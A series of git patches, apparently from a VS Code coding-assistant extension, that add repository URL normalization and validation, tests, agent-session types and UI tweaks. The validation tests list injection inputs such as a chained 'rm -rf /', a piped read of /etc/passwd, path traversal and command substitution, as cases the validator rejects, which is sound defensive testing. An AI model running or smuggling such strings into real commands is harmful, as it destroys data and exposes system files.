+++ b/core/util/sanitization.vitest.ts @@ -1,5 +1,6 @@ import { execSync } from "child_process"; import { describe, expect, it } from "vitest"; +import { normalizeRepoUrl } from "./repoUrl"; import { sanitizeShellArgument, validateGitHubRepoUrl } from "./sanitization"; describe("sanitizeShellArgument", () => { @@ -87,6 +88,81 @@ describe("validateGitHubRepoUrl", () => { expect(validateGitHubRepoUrl(null as any)).toBe(false); expect(validateGitHubRepoUrl(undefined as any)).toBe(false); }); + + describe("validation after normalization", () => { + it("should validate normalized URLs to prevent bypass", () => { + // Test that validation works on normalized output + const inputs = [ + "owner/repo", + "git@github.com:owner/repo.git", + "https://github.com/owner/repo.git", + "ssh://git@github.com/owner/repo.git", + ]; + + inputs.forEach((input) => { + const normalized = normalizeRepoUrl(input); + expect(validateGitHubRepoUrl(normalized)).toBe(true); + }); + }); + + it("should catch dangerous URLs even after normalization", () => { + // These should still be dangerous after normalization + const dangerous = [ + "owner/repo; rm -rf /", + "owner/repo && malicious", + "owner/repo | cat /etc/passwd", + ]; + + dangerous.forEach((input) => { + // Should be blocked before normalization + expect(validateGitHubRepoUrl(input)).toBe(false); + + // Even if somehow normalized, should still be invalid + const normalized = normalizeRepoUrl(input); + expect(validateGitHubRepoUrl(normalized)).toBe(false); + }); + }); + + it("should handle edge cases where normalization changes URL structure", () => { + // Test URLs that change during normalization + const testCases = [ + { + input: "Owner/Repo.git/", + normalized: "https://github.com/owner/repo", + shouldBeValid: true, + }, + { + input: "git@github.com:owner/repo.git", + normalized: "https://github.com/owner/repo", + shouldBeValid: true, + }, + ]; + + testCases.forEach(({ input, normalized, shouldBeValid }) => { + const actualNormalized = normalizeRepoUrl(input); + expect(actualNormalized).toBe(normalized); + expect(validateGitHubRepoUrl(actualNormalized)).toBe(shouldBeValid); + }); + }); + + it("should prevent validation bypass via URL encoding or special chars", () => { + // These tests ensure that validation happens AFTER normalization + // preventing attackers from bypassing validation via encoding or transformation + + // Currently validateGitHubRepoUrl blocks these, but this test ensures + // the pattern of "normalize then validate" is maintained + const potentialBypass = [ + "../../../etc/passwd", + "owner/../malicious", + "owner/repo`whoami`", + "owner/repo$(whoami)", + ]; + + potentialBypass.forEach((input) => { + expect(validateGitHubRepoUrl(input)).toBe(false); + }); + }); + }); }); /** diff --git a/extensions/vscode/src/extension/VsCodeMessenger.ts b/extensions/vscode/src/extension/VsCodeMessenger.ts index 821cbe1ad..f8be3c4fe 100644 --- a/extensions/vscode/src/extension/VsCodeMessenger.ts +++ b/extensions/vscode/src/extension/VsCodeMessenger.ts @@ -300,19 +300,19 @@ export class VsCodeMessenger { // Get repo name/URL const repoName = await this.ide.getRepoName(workspaceDir); if (repoName) { - // Validate repo URL to prevent injection attacks - if (!validateGitHubRepoUrl(repoName)) { + // Normalize the URL first to get canonical form + const normalized = normalizeRepoUrl(repoName); + + // Validate the normalized URL to prevent injection attacks + // This ensures we validate what we'll actually use, not just the input + if (!validateGitHubRepoUrl(normalized)) { vscode.window.showErrorMessage( "Invalid repository format. Please ensure you're using a valid GitHub repository.", ); return; } - // If repo name looks like "owner/repo", convert to GitHub URL - if (repoName.includes("/") && !repoName.startsWith("http")) { - repoUrl = `https://github.com/${repoName}`; - } else { - repoUrl = repoName; - } + + repoUrl = normalized; } // Get current branch @@ -464,6 +464,14 @@ export class VsCodeMessenger { return; } + // Validate the repo URL from API response to prevent injection attacks + if (!validateGitHubRepoUrl(repoUrl)) { + vscode.window.showErrorMessage( + "Invalid repository URL from agent session. Please contact support.", + ); + return; + } + // Get workspace directories const workspaceDirs = await this.ide.getWorkspaceDirs(); if (workspaceDirs.length === 0) { @@ -471,7 +479,14 @@ export class VsCodeMessenger { return; } + // Normalize and validate again to ensure the normalized form is safe const normalizedAgentRepo = normalizeRepoUrl(repoUrl); + if (!validateGitHubRepoUrl(normalizedAgentRepo)) { + vscode.window.showErrorMessage( + "Invalid repository URL after normalization. Please contact support.", + ); + return; + } // Find the workspace that matches the agent's repo URL let matchingWorkspace: string | null = null; From 58a9026d99c344f0ecaa2cf4eec9d74cbb05956a Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Fri, 17 Oct 2025 11:38:54 -0700 Subject: [PATCH 25/30] improv: clean up code --- extensions/vscode/src/extension/VsCodeMessenger.ts | 6 ------ 1 file changed, 6 deletions(-) diff --git a/extensions/vscode/src/extension/VsCodeMessenger.ts b/extensions/vscode/src/extension/VsCodeMessenger.ts index f8be3c4fe..fd71d9354 100644 --- a/extensions/vscode/src/extension/VsCodeMessenger.ts +++ b/extensions/vscode/src/extension/VsCodeMessenger.ts @@ -342,8 +342,6 @@ export class VsCodeMessenger { name = `Agent for ${repoName || "repository"}`; } - // debugger; - // Get the current agent configuration from the selected profile let agent: string | undefined; try { @@ -618,10 +616,6 @@ export class VsCodeMessenger { const agentState = await configHandler.controlPlaneClient.getAgentState(agentSessionId); - // Debug what we got back - // debugger; - console.log("Agent state response:", agentState); - if (!agentState) { vscode.window.showErrorMessage( "Failed to fetch agent state from API. The agent may not exist or you may not have permission.", From 0e9dc1375f86af53a7be7f190cc5b1e30150e61c Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Fri, 17 Oct 2025 11:43:50 -0700 Subject: [PATCH 26/30] fix: repo edge case --- core/util/repoUrl.ts | 2 +- core/util/repoUrl.vitest.ts | 13 +++++++++++++ 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/core/util/repoUrl.ts b/core/util/repoUrl.ts index a9c076c40..4634cc142 100644 --- a/core/util/repoUrl.ts +++ b/core/util/repoUrl.ts @@ -49,7 +49,7 @@ export function normalizeRepoUrl(url: string): string { // Convert shorthand owner/repo to full URL if ( normalized.includes("/") && - !normalized.includes("://") && + !/^[a-z]+:\/\//i.test(normalized) && !normalized.startsWith("git@") ) { normalized = `https://github.com/${normalized}`; diff --git a/core/util/repoUrl.vitest.ts b/core/util/repoUrl.vitest.ts index c2c85c1b0..da58cc076 100644 --- a/core/util/repoUrl.vitest.ts +++ b/core/util/repoUrl.vitest.ts @@ -164,6 +164,19 @@ describe("normalizeRepoUrl", () => { "https://github.com/owner/repo-with-dashes-123", ); }); + + it("should normalize shorthand with query parameters containing ://", () => { + // Regression test: :// in query params should not prevent normalization + expect(normalizeRepoUrl("owner/repo?redirect=https://example.com")).toBe( + "https://github.com/owner/repo?redirect=https://example.com", + ); + }); + + it("should normalize shorthand with fragment containing ://", () => { + expect(normalizeRepoUrl("owner/repo#section=https://example.com")).toBe( + "https://github.com/owner/repo#section=https://example.com", + ); + }); }); describe("real-world examples", () => { From ca184461e7cd811dd44cf3da8315cf070a1330b5 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Fri, 17 Oct 2025 12:08:00 -0700 Subject: [PATCH 27/30] fix: type errors --- core/control-plane/client.ts | 49 ++++++++++++++++++++++++++++-------- 1 file changed, 39 insertions(+), 10 deletions(-) diff --git a/core/control-plane/client.ts b/core/control-plane/client.ts index 124128681..068434c08 100644 --- a/core/control-plane/client.ts +++ b/core/control-plane/client.ts @@ -55,6 +55,39 @@ export interface RemoteSessionMetadata extends BaseSessionMetadata { remoteId: string; } +export interface AgentSessionMetadata { + createdBy: string; + github_repo: string; + organizationId?: string; + idempotencyKey?: string; + source?: string; + continueApiKeyId?: string; + s3Url?: string; + prompt?: string | null; + createdBySlug?: string; +} + +export interface AgentSessionView { + id: string; + devboxId: string | null; + name: string | null; + icon: string | null; + status: string; + agentStatus: string | null; + unread: boolean; + state: string; + metadata: AgentSessionMetadata; + repoUrl: string; + branch: string | null; + pullRequestUrl: string | null; + pullRequestStatus: string | null; + tunnelUrl: string | null; + createdAt: string; + updatedAt: string; + create_time_ms: string; + end_time_ms: string; +} + export class ControlPlaneClient { constructor( readonly sessionInfoPromise: Promise, @@ -546,23 +579,19 @@ export class ControlPlaneClient { }); const result = (await resp.json()) as { - agents: any[]; + agents: AgentSessionView[]; totalCount: number; }; return { - agents: result.agents.map((agent: any) => ({ + agents: result.agents.map((agent) => ({ id: agent.id, - name: agent.name || agent.metadata?.name || null, + name: agent.name, status: agent.status, - repoUrl: agent.metadata?.repo_url || agent.repo_url || "", - createdAt: - agent.created_at || agent.create_time_ms - ? new Date(agent.created_at || agent.create_time_ms).toISOString() - : new Date().toISOString(), + repoUrl: agent.repoUrl, + createdAt: agent.createdAt, metadata: { - github_repo: - agent.metadata?.github_repo || agent.metadata?.repo_url, + github_repo: agent.metadata.github_repo, }, })), totalCount: result.totalCount, From 8d48060e3b87b2f22c60b9abfea272c6c9261707 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Fri, 17 Oct 2025 12:18:23 -0700 Subject: [PATCH 28/30] improv: input clean up --- gui/src/pages/gui/Chat.tsx | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/gui/src/pages/gui/Chat.tsx b/gui/src/pages/gui/Chat.tsx index 113cbf71d..6e4aec278 100644 --- a/gui/src/pages/gui/Chat.tsx +++ b/gui/src/pages/gui/Chat.tsx @@ -186,11 +186,6 @@ export function Chat() { setIsCreatingAgent(true); - // Clear input immediately for better UX - if (editorToClearOnSend) { - editorToClearOnSend.commands.clearContent(); - } - // Create agent and track loading state void (async () => { try { @@ -216,6 +211,12 @@ export function Chat() { selectedCode, organizationId, }); + + // Clear input only after successful API call + if (editorToClearOnSend) { + editorToClearOnSend.commands.clearContent(); + } + setIsCreatingAgent(false); } catch (error) { console.error("Failed to create background agent:", error); From 167ef73f73822b1d74bda5502879f5ca5fe186e1 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Fri, 17 Oct 2025 13:47:04 -0700 Subject: [PATCH 29/30] improv: types, ux --- core/control-plane/client.ts | 6 ++- .../components/BackgroundMode/AgentsList.tsx | 48 ++++++++++++++++--- 2 files changed, 45 insertions(+), 9 deletions(-) diff --git a/core/control-plane/client.ts b/core/control-plane/client.ts index 0610ea740..2ae0ca423 100644 --- a/core/control-plane/client.ts +++ b/core/control-plane/client.ts @@ -608,7 +608,9 @@ export class ControlPlaneClient { * @param agentSessionId - The ID of the agent session * @returns The agent session view including metadata and status */ - public async getAgentSession(agentSessionId: string): Promise { + public async getAgentSession( + agentSessionId: string, + ): Promise { if (!(await this.isSignedIn())) { return null; } @@ -621,7 +623,7 @@ export class ControlPlaneClient { }, ); - return await resp.json(); + return (await resp.json()) as AgentSessionView; } catch (e) { Logger.error(e, { context: "control_plane_get_agent_session", diff --git a/gui/src/components/BackgroundMode/AgentsList.tsx b/gui/src/components/BackgroundMode/AgentsList.tsx index b0e2d00b6..7d74d9d7f 100644 --- a/gui/src/components/BackgroundMode/AgentsList.tsx +++ b/gui/src/components/BackgroundMode/AgentsList.tsx @@ -22,6 +22,12 @@ interface AgentsListProps { isCreatingAgent?: boolean; } +interface WorkspaceInfo { + repoUrl: string; + workspaceDir: string; + workspaceName: string; +} + export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { const { session } = useAuth(); const ideMessenger = useContext(IdeMessengerContext); @@ -29,7 +35,7 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { const [agents, setAgents] = useState(null); const [totalCount, setTotalCount] = useState(0); const [error, setError] = useState(null); - const [workspaceRepoUrls, setWorkspaceRepoUrls] = useState([]); + const [workspaces, setWorkspaces] = useState([]); // Fetch workspace repo URLs once on mount useEffect(() => { @@ -40,7 +46,7 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { undefined, ); if (workspaceDirs.status === "success" && workspaceDirs.content) { - const repoUrls: string[] = []; + const workspaceInfos: WorkspaceInfo[] = []; for (const dir of workspaceDirs.content) { const repoNameResult = await ideMessenger.request("getRepoName", { dir, @@ -48,11 +54,17 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { if (repoNameResult.status === "success" && repoNameResult.content) { const normalizedUrl = normalizeRepoUrl(repoNameResult.content); if (normalizedUrl) { - repoUrls.push(normalizedUrl); + // Extract workspace name from directory path (last segment) + const workspaceName = dir.split("/").pop() || dir; + workspaceInfos.push({ + repoUrl: normalizedUrl, + workspaceDir: dir, + workspaceName, + }); } } } - setWorkspaceRepoUrls(repoUrls); + setWorkspaces(workspaceInfos); } } catch (err) { console.error("Failed to fetch workspace repos:", err); @@ -120,11 +132,30 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { .filter((url) => url !== ""); // Check if any of the agent URLs match any workspace URL - return workspaceRepoUrls.some((workspaceUrl) => - agentUrls.some((agentUrl) => agentUrl === workspaceUrl), + return workspaces.some((workspace) => + agentUrls.some((agentUrl) => agentUrl === workspace.repoUrl), ); }; + // Helper function to get the agent's repository name (for display in tooltips) + const getAgentRepoName = (agent: Agent): string | null => { + // Try to extract repo name from the agent's repository URL + // Handles URLs like: https://github.com/org/repo or git@github.com:org/repo.git + const repoUrl = agent.metadata?.github_repo || agent.repoUrl; + if (!repoUrl) return null; + + try { + // Remove .git suffix if present + const cleanUrl = repoUrl.replace(/\.git$/, ""); + // Extract the last path segment (repo name) + const parts = cleanUrl.split("/"); + const repoName = parts[parts.length - 1]; + return repoName || null; + } catch { + return null; + } + }; + const handleOpenLocally = (agent: Agent, e: React.MouseEvent) => { e.stopPropagation(); // Prevent opening the agent detail page ideMessenger.post("openAgentLocally", { agentSessionId: agent.id }); @@ -163,6 +194,7 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { {agents.map((agent) => { const isInWorkspace = isAgentInCurrentWorkspace(agent); const canOpenLocally = isInWorkspace; + const agentRepoName = getAgentRepoName(agent); return (
From 66be965c9ac88f952483e49de5591a4b2c493cba Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Fri, 17 Oct 2025 15:31:04 -0700 Subject: [PATCH 30/30] fix: url --- gui/src/components/BackgroundMode/AgentsList.tsx | 2 -- 1 file changed, 2 deletions(-) diff --git a/gui/src/components/BackgroundMode/AgentsList.tsx b/gui/src/components/BackgroundMode/AgentsList.tsx index 7d74d9d7f..8e817834e 100644 --- a/gui/src/components/BackgroundMode/AgentsList.tsx +++ b/gui/src/components/BackgroundMode/AgentsList.tsx @@ -204,7 +204,6 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { // Open agent detail in browser ideMessenger.post("controlPlane/openUrl", { path: `agents/${agent.id}`, - orgSlug: currentOrg?.slug, }); }} > @@ -250,7 +249,6 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { onClick={() => { ideMessenger.post("controlPlane/openUrl", { path: "agents", - orgSlug: currentOrg?.slug, }); }} variant="ghost"